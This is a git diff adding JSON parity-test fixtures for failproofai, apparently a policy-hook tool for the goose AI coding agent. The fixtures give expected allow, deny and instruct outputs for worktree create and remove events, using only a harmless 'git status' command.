"tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c266cb8a --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..46638d81 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ee4ad242 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3d60acc1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b61d6219 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a3d43f9b --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cea33acd --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0f75adf7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..af3b61f0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2f52f2e8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1c379181 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..036134ac --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..22649f29 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..160b2283 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..25e24789 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..10fd0e0b --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..dfce646d --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..be497e94 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d25679dd --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..28dcb2ba --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { 